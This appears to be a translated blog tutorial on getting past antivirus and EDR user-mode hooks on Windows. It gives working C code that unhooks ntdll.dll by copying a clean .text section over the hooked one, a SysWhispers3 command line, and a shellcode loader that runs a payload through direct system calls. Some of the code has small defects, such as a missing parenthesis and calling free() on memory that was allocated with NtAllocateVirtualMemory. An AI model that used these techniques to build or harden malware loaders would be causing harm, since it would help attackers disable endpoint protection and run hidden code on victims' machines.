Preface
In normal circumstances, antivirus software will set hooks in user mode APIs to detect user-level behavior. Here we use x64dbg to view the exported functions of ntdll.dll to find out.
The NtcreateProcess function when the antivirus software has not hooked it:

It can be seen that the system call number is:B4
After it is hooked, you can see the jmp instruction
Therefore, when we want to bypass the detection behavior of antivirus software, can we consider unhooking the antivirus hook? Or use the direct system call method? For these two questions, there are the following solutions:
0x01 Replace with a clean Ntdll.dll
Firstly, attach the code below:
DWORD UNHOOKntdll() { MODULEINFO mi = {}; HMODULE ntdllModule = GetModuleHandleA("ntdll.dll"); GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi)); LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll; HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0); PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase; PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew); for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) { PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text") { DWORD oldProtection = 0; bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection); memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize); isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection); } } CloseHandle(ntdllFile); CloseHandle(ntdllMapping); FreeLibrary(ntdllModule); return 0; }
The process is as follows:
Obtain
ntdll.dll
Module handle and information, including its base address in memory.Open in read-only mode
c:\\windows\\system32\\ntdll.dll
File, and create a file mapping. Then, map this file mapping to memory.Obtain
ntdll.dll
DOS and NT header information in memory.traverse
ntdll.dll
All sections (sections). If a section named.text
of the section, which usually contains the DLL code, then you need to unhook it.Use
VirtualProtect
Function modification.text
the memory protection attributes of the section, making it readable, writable, and executable.Use
memcpy
The function modifies the originalntdll.dll
in the file.text
Section copied to memoryntdll.dll
at the corresponding location, thereby overwriting the code that may be modified.Use it again
VirtualProtect
Function recovery.text
Memory protection attributes of the section.Close file handles and file mappings, and release the module.
This method unhooks the ntdll.dll, so antivirus software cannot detect the user's behavior.
0x02 SysWhispers3 tool
Tool address: klezVirus/SysWhispers3: SysWhispers on Steroids - AV/EDR evasion via direct system calls. (github.com)
With Syswhispers, we don't have to find the system call number ourselves, and can directly implement system calls
Compared to version 2, syswhispers3 uses a new EGG technique, replacing syscall with garbage instructions first, and then replacing syscall from memory at runtime.
Usage method:
Example: Export the NtProtectVirtualMemory and NtWriteVirtualMemory functions:
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
For specific detailed usage, please refer to the official project documentation
After running, Header/ASM/C files will be generated in the script directory
Import VS
Copy the generated H/C/ASM files to the project directory;
In Visual Studio, click 'Project->Build Customizations...', and then enable MASM;
In 'Solution Exlorer', add .h and .c/.asm files to the project as Header and source files, respectively;
Click on the properties of the ASM file, and set 'Item Type' to 'Microsoft Macro Assembler'
It should be noted that this tool currently only supports x64 architecture.
Demonstrate with the simplest loader:
#include "syscall.h" #include <Windows.h> #include<stdio.h> unsigned char calc_payload[] ="" unsigned int calc_len = 1; int main() { DWORD oldprotect = 0; HANDLE hProc = GetCurrentProcess(); LPVOID base_addr = NULL; HANDLE thandle = NULL; NTSTATUS NTAVM = NtAllocateVirtualMemory( hProc, &base_addr, 0, (PSIZE_T)&calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); RtlMoveMemory(base_addr, calc_payload, calc_len); NTSTATUS NTPVM = NtProtectVirtualMemory( hProc, &base_addr, (PSIZE_T)&calc_len, PAGE_EXECUTE_READ, &oldprotect); NTSTATUS ct = NtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, base_addr, NULL, FALSE, 0, 0, 0, NULL); free(base_addr); return 1; }
Here we can directly use system-level functions, and on this basis, we can further improve some common anti-av methods, which will be even better.
It is hereby declared that this article is only for learning and thinking.
Deep penetration into internal networks using Rustdesk, without going online
How to deploy and implement (cloud) host EDR + situation awareness platform for large enterprises
In-depth analysis of the security risks and shutdown posture in SEAndroid
Analysis report of a wild encounter with a stealthy Raccoon Stealer v2 sample
Combining ppid deception and far-thread injection to achieve DLL hollowing
How does Wine implement the cross-platform compatibility layer for Windows?
How to effectively handle enterprise data security complaints and reports?

评论已关闭